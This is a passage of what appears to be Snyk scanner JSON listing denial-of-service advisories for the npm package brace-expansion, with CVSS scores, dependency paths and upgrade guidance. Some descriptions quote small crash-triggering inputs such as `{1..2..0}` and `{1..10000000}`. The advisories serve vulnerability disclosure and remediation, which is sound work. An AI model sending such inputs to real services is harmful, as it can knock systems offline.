`expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, 